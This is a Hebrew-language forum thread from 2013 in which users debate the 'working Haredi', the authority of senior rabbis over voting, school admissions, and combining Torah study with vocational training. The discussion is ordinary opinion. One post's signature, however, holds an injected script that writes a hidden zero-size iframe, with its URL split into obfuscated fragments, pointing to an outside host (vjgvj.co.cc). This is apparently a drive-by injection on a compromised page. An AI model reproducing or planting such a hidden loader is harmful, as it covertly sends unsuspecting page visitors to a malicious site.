| נשלח ב-9/1/2013 15:42 |
 |
| |
תפקיד 'החרדי העובד'
הייתי רוצה לדון מבחינה מחשבתית (לא במובן הפוליטי) באשכול חדש בפורום חדרי חרדים http://www.bhol.co.il/forum/topic.asp?cat_id=4&topic_id=2993561&forum_id=771
דברי פותח האשכול:
למה אני 'חרדי עובד' רוצה להיות חלק מ'דגל התורה'?
כ'חרדי' העמל לפרנסתי אני מחנך ומלמד את ילדי לברך לפני האוכל ואחריו.
אני גם מחנך אותם שכשכואב הגרון ויש חום הולכים לרופא. פשוט אני לא מבין ברפואה.
יודעים מה, אני גם מחנך את ילדיי שבכל דבר שקשור לדת אני מקבל את החלטת גדולי הדור, כי הם אנשים שכל ימיהם עבדו על מידותיהם, למדו הרבה תורה ומוסר. הלב שלהם נקי מכבוד, אינטרסים, וממון. והדבר היחיד שאיכפת להם הוא "לתקן עולם במלכות שדי".
כאשר הם אומרים וטורחים לצאת מביתם. מעיר לעיר, מכנס לכנס, וזועקים על חשיבות ההצבעה עבור רשימת 'יהדות התורה' אני אמלא אחר בקשתם ואצביע ג'.
ברור לי שכאשר התורה אומרת "ועשית ככל אשר יורוך" היא מדברת בדיוק אל האדם שאינו מבין מדוע עליו לציית לדבריהם, ולדעתו הם תמימים מדי, זקנים מדי, עטופים במשמשים, ובכלל הבנתם מתכנסת אל מה שהגמ' אומרת ותו לא.
אין בליבי ספק על כך שרובו של הציבור העובד, שם את גדולי ישראל ודעתם כנר לרגליו ולאורם הוא צועד. וודאי שאינו מוכן למכור את נשמתו לתנועה שחרטה על דגלה את הצבע השחור, את השאיפה להקים דור חדש,כזה שאינו נשמע לגדולי התורה והיראה. ברור לי שילדיהם של קומץ האנשים הללו יהיו חלשים יותר בחיבור שלהם ליהדות, נכדיהם לכאורה יהיו עוד יותר חלשים ומי כבר יכול לחזות את מצב ניניהם שרח"ל עלולים לחדד את המנטרה לשלב נוסף ולפרוק מעליהם עול תורה ומצות.
האם יש לנו ספק שילד הרואה את אביו מכבד את מי שלמד ועוסק בתורה, וכואב לו מצב ירוד של דור, כואב לו שיש צרות לאנשים, הוא גדל עם תובנה שהתורה וערכיה הם דבר כל כך חשוב. אולם אם אביו יכול לחלוק על גדולי הדור, הוא כבר יכול לחלוק על כל מה שכתוב בה בתורה. ילד שכזה אחריתו מי ישורנו ....
מסיבות אלו אפעל בכול כוחי שילדיי לא ילמדו באותו ת"ת עם ילדיו של איש שגדולי ישראל כהבנתו יכולים להביע דעתם רק בגמרא ודבריהם בשאר הנושאים הם כהמלצה בלבד שאפשר לחלוק עליה.
______________________________
עד כאן דבריו,
רציתי אני לשאול האם בהמתת תורת בעלי המלאכה הנהוגה כעת אין בעצם תהליך שסופו לבורות/חילוניות [בעיקרון הם שווים בעיניי מבחינה תורנית].
'גדוילים' [אמיתיים, שיכולים להביע דעה בכל נושא ע"י הבנת העולם בראי התורה - שאפילו אם זה לא כ"כ מצוי בזה"ז, ודאי שיש שאיפה לזה] לא יכולים לצמוח מלימוד מן הקטנים, ככל שהם יבינו בשלב יותר מוקדם את מהות החירות וחובת האנושות לקחת על עצמה כמה שיותר, הם ללא ספק יכנסו יותר עמוק בפרד"ס. המונח 'גדול' כמו שהוא מתפרש בזה"ז [אם כי תמהני אם יש לזה מקור קדום..], כמי שידיעתו בתורה מקנה לו סמכות בעלדית להכריע בכל תחום בלא עוררין [כלומר, 'לצאת נגדם' כמנהג המדינה], חייב להיות אדם שלא נשען מתוך ספק על ודאות של אחר, ולגעת בשרשי השרשים עד תומם. וזה פשוט ומוכרח מתוכו.
אם כן, אדם שאומר אני 'חרדי עובד', אומר: אין לי חלק בתורה, ואני מצוותי הן הישגים של זולתי - וזהו היפך מהות לימוד התורה, ואין לתורתו ערך כי אינה שואפת לעצמיות. (אגב קשור בזה ששמעתי מאיש עסקים מצליח, שכל חוכמתו בעסקים היא בזכות שלא הניח שום נקודה בסוגיא שלא עמד ובירר, ואמר לי: מי שמניח נקודה בלי לברר אותה, בעסקים זה נקרא 'לוזר' - בגמ', לבחירתך).
א"כ לימוד כזה לא משפיע טובה לצאצאים, אלא חויה ריקנית, שתוביל לשני המחוזות הנ"ל.
 |
|
|
|
|
| נשלח ב-13/1/2013 18:35 |
|
| |
ירוחם,
אמת ויציב, התמקדת בתגובות על דברי מיימוני, לגבי האיסור להתפרנס מיגיע כפיים ואי קבלת צאצאי העוברים על איסור זה במוסדות חרדיים. אני מבין מתשובתך שגם אתה מסכים עם הדברים; אגב, המשפט: "לך אל המזרוחניקים חרד" הוא קצ סתור מעצמו, לפי ההבנה הרווחת שמזרחיסט וחרד סותרים זא"ז, ואכן כוונתי היתה שכל אחד ימצא את הציבור שיותר מאפשר לו להיות עצמו, ולא להדבק בחברה האורגנית או היותר מוסכמת עליו מבחינת דעות תיאורתיות, כי זו בדיוק הדרך של סחטנות הממסד החרדי את הציבור כידוע
|
|
|
|
| נשלח ב-13/1/2013 15:52 |
|
| |
אחרחוק
כתבתי כי בעצם אין כל קשר בין המילה חרדי למילה עובד. החרדי עובד כפי שבעל משקפיים עובד,
מה שאדם עושה לאחר שעות עבודתוזה ענינו הפרטי, ולא צריך לחרדיותו להיות כל קשר לעבודתו.
הגמרא אומרת כי השאלה הראשונה ששואלים את האדם בבית דין של מעלה- נשאת ונתת באמונה.
הפשט הראשוני והפשוט- את העסקים שלך- גם עובד ומעביד- עשית באמונה?
הפשט השני האם עשית באמונה שלך משא ומתן?
השתמשת בחרדיות שלך. בכבוד התורה שלך, להשיג השגים מסחריים?
אתה לא מוצא איסור לחבור אל המזרחניקים? איסור? לך אל המזרחניק חרד- למד מדרכיו וחכם.
|
|
|
|
| נשלח ב-13/1/2013 15:33 |
|
| |
לרבנית יעקב (קראתי נכון?),
לשאלות 1-3: את צודקת, רק שהעיקר הוא, כמו שציינת, שזו מצווה וחובה לעבוד. אגב, חכמים אמרו: עושה צדקה בכל עת-זה המפרנס בניו ובני ביתו.
4. מיימוני סבור שידיעה בסיסית של נושאים שונים עוזרת לתלמידי חכמים הן במישור האישי, שאינם זקוקים לשכן כדי לקרוא מכתב באנגלית [או הבנת שם בפורום..] הן במישור הלימודי, שע"י הבנה בפיזיקה מטמתיקה וכדו' יתפתח הלימוד בצורה מדהימה. זה כמובן תואם להשקפתו [שאני שותף לה בכל ליבי] שבלאו הכי לא צריך כל כך הרבה תלמידי חכמים גדולים, ואין טעם להשקיע - וכמובן להזיק בעתיד - לאותם שיישרו בהמשך או לא ילמדו תורה כראוי. - ולראויים זה בהחלט מתאים, להחכים מכיוונים שונים!
5. באופן אישי זה ממש לא מעניין אותי, מצידי שכל הרבנים יאכלו קוגל - אני משתדל לשמוע לקב"ה!
6. נדמה לי שציין ע"ז דביר אזולאי במאמר 'גדול הדור' באתר ישיבת מרכז הרב, אולי בשם שו"ת רד"ך.
7. על זה אמרו הגששים: 'אם אתה לא מאמין בסחורה של עצמך, למה שהקונים יאמינו?!'
|
|
|
|
| נשלח ב-13/1/2013 15:14 |
|
| |
למיימוני, ירוחם ומתעניין
אתם בודאי צודקים, אבל הייתי רוצה ברשותכם לסכם את דבריכם ע"פ הנקודה שעוררתי אנכי:
בתוך הצהרת ההון של ה'עובד' הנ"ל חסר פרט אחד, משום מה הוא שכח שלפני שהוא חרדי ועובד הוא בן אדם, אדם ויהודי. בתורה כתוב שהיא "מורשה קהילת יעקב", לא קהילת ינאי ולא קהילת אי"ל. הזכות של יהודי ללמוד את התורה כהבנתו ולהסיק מסקנות היא גם חובה גדולה, שמי שמזלזל בה אינו אלא נותן דופי בחכמי ישראל...
כל אחד יכול לומר: חלקי בתורה הוא אחר מהלכות נטילת ידיים, לדוגמה, במובן המעשי, וע"כ אני פונה למי שבדק את הנושא. רק יש לזה שני קריטוריונים ברורים!!! 1. שיש נושא אחר שהוא משקיע בו את מירב כוחותיו כפי מידתו. 2. שלא יהיה לו שום תירוץ להפטר מלימוד נושא מסויים בתורה, ודאי שלא בטענה שהוא נהנה מיגיעו וכדו', שאינו קשור לנושא כלל ועיקר.
אני באופן אישי נגעל מעשיית הבחירות כעיקר בתורה, ק"ו במחנה שרואה במדינה שרש רע.. יש לי גם הערה קטנה בנושא המזרוחניקים ואי קבלת ילדי העובדים למוסדות, במסגרת עבודתי [בין הסדרים] אני נחשף לחינוך ילדים במסגרות שונות, משום מה ילדי השמרנים לא מחונכים כראוי יחסית לילדי מוסדות אחרים (כולל חילוניים!).. יש לזה כמה סיבות שאכמ"ל בהם, ולגבי המזרוחניקים אני לא מוצא איסור לחבור אליהם אם מסכימים עימם בכמה נושאים בהשקפה, הם לא כופרים..
תוקן על ידי אחרחוק ב- 13/01/2013 15:17:52
|
|
|
|
|
|
| נשלח ב-13/1/2013 11:23 |
|
| |
יש לי כמה שאלות על ההנחות דלעיל:
1. מדוע ומתי ביטלו את המושג "מרא דאתרא"- לעניות דעתי המושג של "גדול הדור" המוכתר על ידי העיתונים ביטל את הסמכות של הרב המקומי. בכל נושא הרב המקומי צריך להחליט גם בנושא בחירות
2. מדוע יש לרבנים סמכות להחליט מה נצביע בבחירות- הרי על פי ההלכה נשים לא צריכות לבחור, וגם על הגברים אין מצווה כזו. בנוסף, יש את מסכת הוריות שקובעת שאם יודע שבית דין טעון לא צריך להישמע להם. כאן כולם יודעים שהרבנים מורים היפך ההלכה שגבר לא יפרנס את אשתו- וכל מי שקרא את הכתובה שלו ברצינות לא צריך להצביע למפלגות אלו.
3. אני מתפלאת שאחרי הרדיפות שעברו יהודים יראי שמים המתפרנסים בעצמם בגולה, הם עוברים גם כאן רדיפות ולא מקבלים את ילדיהם לבית הספר. אני מבינה קריטריונים אלו ואחרים של רמה דתית אבל הצבעה בבחירות אין לה שום משמעות דתית. השיטה הזו של הפחדה באמצעות מוסדות חינוך היא אלימה ונוראית, וכשילד רואה שחברו, בן למשפחה יראת שמים, לא התקבל לת"ת רק כי אביו הצביע בנט או ליכוד- הוא מבין שאין כאן חינוך אלא מפלגת שלטון כוחנית ודורסת כמו ברוסיה הבולשביקית. ומי יודע אם יתמיד בשמירת מצוות לאורך ימים רק מפחד המפלגה, אולי יחליט שלא מתאים לו לחיות בשביל למצוא חן בעיני מנהל בית הספר- זה המסר שהחברה החרדית מעבירה כיום לבניה:
תשמרו מצוות כדי שהילדים יתקבלו למוסד חרדי. תלכו בתלם גם אם הוא לא קשור למצוות- כמו ג'ינס ורשיון נהיגה לנשים והצבעה חופשית ועוד מוסכמות- זה לא עובד. זה גורם לצעירים לעשות דווקא ולשפוך את האמבטיה עם התינוק.
4. למיימוני- אני סבורה שיש להשאיר את לימוד התורה האינטנסיבי בישיבות כדי שישמש בסיס איתן של מטען רוחני שיסייע ליראת שמיים גם בשנים שהבחור ייצא לעבודה, כשיתחייב בכך (כלומר אחרי החתונה). בד בבד אני סבורה שיש לגוון בדחיפות את לימודי התורה לכמה מגמות אליהן ייגשו לפי יכולות- תנ"ך, מדרשים, הלכה פסוקה, חסידות וקבלה. לא כולם אוהבים/ רוצים/ מסוגלים ללמוד גמרא. השיטה הצליחה בישיבות הסדר והצליחה להאהיב על בחורים רבים את לימוד התורה.
כמו כן לא מזיק לשלב - לבחורים עם יכולות נמוכות- לימודי מקצוע טכניים, כמו בעיירה- בחור שלא יכל להיות "ישיבה בוחר" נהיה שולייה של נפח או נגר. טכנאות היא מקצוע גברי שלא יפתח את הצעיר לעולם ההיי טק או העריכת דין המאוד חילוניים, עם משכורות מכובדות של 9000 כבר בהתחלה. אני סבורה שיש מקצועות שלא מצריכים לימוד רב, הם רווחיים ולכן ניתן ללמדם בישיבה תוך כדי לימוד תורה. לא בגרות, לא תואר, רק מקצוע. הטובים יותר ישלימו בגרות ותואר אחרי החתונה.
אגב, הגיע הזמן שגם בנות ילמדו תורה- ממילא הן עושות זאת אבל צריך יותר עמקות. אם אין תוכן בחיים והיהדות מסתכמת בעובי הגרביים ובאורך הפאה, אין המשך ליהדות החרדית בדור של נשים משכילות ודעתניות המפרנסות משפחה ומופקדות על חינוך דור ההמשך.
5. לכל החרדים הטובים שסבורים שהכל אשמת ה"גיחזים" ואנשי החצר של הרבנים- רב רציני לא היה מוציא פסק לפני שבודק בעצמו את העובדות, בלי האנשים הסובבים אותו. בכלל רב אמיתי לא צריך אנשים סביבו, שיעבוד בעצמו לבדוק עובדות ולפסוק לפיהן בלי להקיף את עצמו בפמליא של אינטרסנטים. רב אמיתי פותח את ביתו ואזניו גם לשוועת האישה שחטפה מכות בקווי מהדרין ולא רק ל"אברכים חשובים" שטוענים באזניו על פריצות נוראה באוטובוס, שהרב לא ראה כמובן מה קורה אלא הכל משמיעה. המשבר העמוק שקורה כיום הוא אשמת הרבנים שמניחים לעיתונאים ולגיחזים לסובב אותם על האצבע הקטנה, במקום לתפוס מנהיגות ולהתנער מהפמליה המסואבת.
6. קראתי באחד הטוקבקים שהחזו"א פסק שאין למפלגות החרדיות מעמד של ז' טובי העיר כי הם לא הגיעו מכוח הציבור, הציבור לא בחר אותם, וכנ"ל לגבי גבאי בית כנסת ורבנים שלא נבחרו על ידי הציבור. אשמח אם מישהו יבסס ויאמת את הנושא. אני יודעת שהרבי מליובאוויטש הנהיג בקראון הייטס בחירות לוועד הקהל, בחירות לגבאים וגם בחירות לרבני השכונה (בהבדל שהרבנים זה לתמיד והגבאים והוועד מתחלפים).
7. גם אני פגשתי נכדה של זוננפלד לא דתיה. מקסמן, היא לא גויה ולא מתבוללת, אבל אני מסכימה שנכדיהם של רוב הקיצונים יפרקו עול או יהיו עם רעלה. מרבית היוצאים בשאלה הקיצונים (ששונאים את הדת ומשניאים אותה על הציבור בישראל) הגיעו ממאה שערים ולא מבני ברק
תוקן על ידי yakovkov ב- 13/01/2013 11:31:44
תוקן על ידי yakovkov ב- 13/01/2013 11:35:04
|
|
|
|
|
| נשלח ב-12/1/2013 21:18 |
|
| |
"ברור לי שכאשר התורה אומרת "ועשית ככל אשר יורוך" היא מדברת בדיוק אל האדם שאינו מבין מדוע עליו לציית לדבריהם, ולדעתו הם תמימים מדי, זקנים מדי, עטופים במשמשים, ובכלל הבנתם מתכנסת אל מה שהגמ' אומרת ותו לא."
ולי ברור שעל זה שברור לו כך נאמר "ולא עם הארץ חסיד"
|
|
|
|
| נשלח ב-11/1/2013 13:43 |
|
| |
ואני לתומי חשבתי שהתפקיד של החרדי העובד (וכן כל עובד) לעבוד באמונה כפי שהגמרא מספרת על אבא חיליקיהו.
ואידך זיל גמור
|
|
|
|
| נשלח ב-11/1/2013 13:10 |
|
| |
מן הראוי להעתיק הלום. המודעה מאד מוצלחת. ולינקים סופם להיפרם.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-11/1/2013 13:03 |
|
| |
מועתק מבחח.
ניסיתי להעתיק מאשכול בפורום השכן מודעה לדעתי מוצלחת אם גם כועסת שמאשימה את העסקנים באחריות לכך שצעירים חרדיים אינם מסוגלים לרכוש השכלה ולכן מקצוע למרות מה שמבטיחים להם, ולכן הם נידונים להישאר במעגל העוני, אולי לשירותם של אותם עסקנים.
אולם נראה לי שהכתובת אינה רק העסקנים אלא גם הרבנים שמעליהם. אני מודה ומתוודה: יחסי לשאלת עבודה מול לימוד תורה כל היום השתנה. אני סבור היום שהנכון הוא להעניק יכולת מקצועית והשכלה לצעירים ולא לשלוח אותם לכולל - פרט לאותם יוצאי דופן המגלים כשרון ורצון, וגם עבורם יש להכין תוכנית המקבילה לאוניברסיטה, עם תנאים נבדקים, כדי למנוע בזבוז זמן.
זאת בלי להתייחס לשאלה אם אין זה נכון (וזה נכון) שצריך ידע והשכלה גם כדי ללמוד תורה.
איך משיגים כל זאת בלי לפגוע ביראת השמים ומול הנסיונות של זמננו - זו בעיה כאובה מאד.
כפי שטען פעם ד"ר בני בראון, מחברי הפורום הראשונים, האם זה אומר שאנו מבקשים להיות "מזרחיסטים"? אז ענו לו כל שאר החברים בשלילה. אני עדיין סבור שהם צדקו. אבל אנו זקוקים להגדרה ראשונית למצב הראוי, אם גם אפשר למצוא מקורות לאידיאל החדש ישן בגרמניה ובאיטליה של המאה ה19.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 11/01/2013 13:04:21
תוקן על ידי מיימוני ב- 11/01/2013 13:08:08
|
|
|
|
|
| נשלח ב-10/1/2013 18:28 |
|
| |
מגיבים יקרים, אני מסכים עם כל דבריכם מבחינה עקרונית, אני כמובן לא מסכים עם שמחה "על כל בחור שמקלקל אצל בעלי הזרוע", אלא רואה בזה סימן משמים לשני הצדדים שיצירת הסתגרות, חרמות וכו' בזה"ז לא חכמה, אנושית, שפויה ועובדת - וכמובן מתקדמת לכיון לא נורמלי ולא משתלם.
אמנם לא עסקתי בזה, ולא הזכרתי את המושג 'חרדי עובד' אלא בשל המובאה, ומשום שהתופעה אפשרית רק אצל חרדים, כעוד שלל תופעות. אבל ממש לא באתי לעסוק בשאלת מיהו חרדי, כי זה פשוט נראה לי הדיוטי ואדיוטי. בתורה שקבלתי מדור דור עד מרע"ה חסרה מצוות "והיית חרדי", ואף שאיני יודע כיצד - אני נשאר במסורת אבותיי...
הנושא שאליו כיוונתי הוא תופעת ההסתכלות הציבור החרדי [ולא מט מזה בהשפעת תופעת הגדוילים] על התורה כריאליטי, שמי שמצליח יכול להיות אדם אלמוני שצמח ביום אחד ומי שלא מצליח לא פעם הוא תלמיד חכם ואיש ספר שלרגל המלאכה אשר איתו ולרגל הילדים הוא גדול מירא שמים. במצב שכזה לא פלא שהגדוילים לא בהכרח עומדים בקריטוריונים, ואפילו תלמידי חכמים לא יכולים להוכיח אותם ע"ז, וכל המשך הנגרר מזה יכול להיות רק זוועה..
וכמובן לדון בשאלה כמה אדם יכול לקחת על עצמו אחריות תורנית במחינה מעשית.
|
|
|
|
|
| נשלח ב-9/1/2013 17:52 |
|
| |
אני מאוד שמח עם כל בחור או בת שמתקלקלים אצל בעלי הזרוע,
זה אצלי ההוכחה היחידה שיש אלוקים,
|
|
|
|
| נשלח ב-9/1/2013 17:47 |
|
| |
| בעלבעמיו כתב: |  | | כתבת על משפחת ר' יוסף חיים זוננפלד |
|
פשוט: בעיני נכדה עם רעלה של ר' יוסף חיים כל השאר הם גויים,
אגב: אני הכרתי נכד שלו כמפדלניק ומאוד שמחתי בשביל ר' יוסף חיים,
אותו דבר שמחתי שראיתי את נכדי ר' עמרם לובשים פאות,
בקיצור אני אוהב את האלוקים,
תוקן על ידי maxmen ב- 09/01/2013 17:48:25
|
|
|
|
| נשלח ב-9/1/2013 17:45 |
|
| |
כתבת על משפחת ר' יוסף חיים זוננפלד
|
|
|
|
| נשלח ב-9/1/2013 17:34 |
|
| |
| בעלבעמיו כתב: | | מקס
יש לך סטטיסטיקות? |
|
על מה ?
|
|
|
|
| נשלח ב-9/1/2013 17:33 |
|
| |
מקס
יש לך סטטיסטיקות?
|
|
|
|
|
